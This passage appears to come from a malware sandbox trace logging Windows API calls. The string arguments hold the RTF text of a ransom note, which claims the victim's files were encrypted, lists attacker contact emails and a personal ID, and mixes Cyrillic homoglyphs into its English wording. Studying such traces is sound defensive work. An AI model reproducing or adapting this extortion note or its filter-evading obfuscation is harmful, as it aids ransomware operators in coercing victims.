-m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 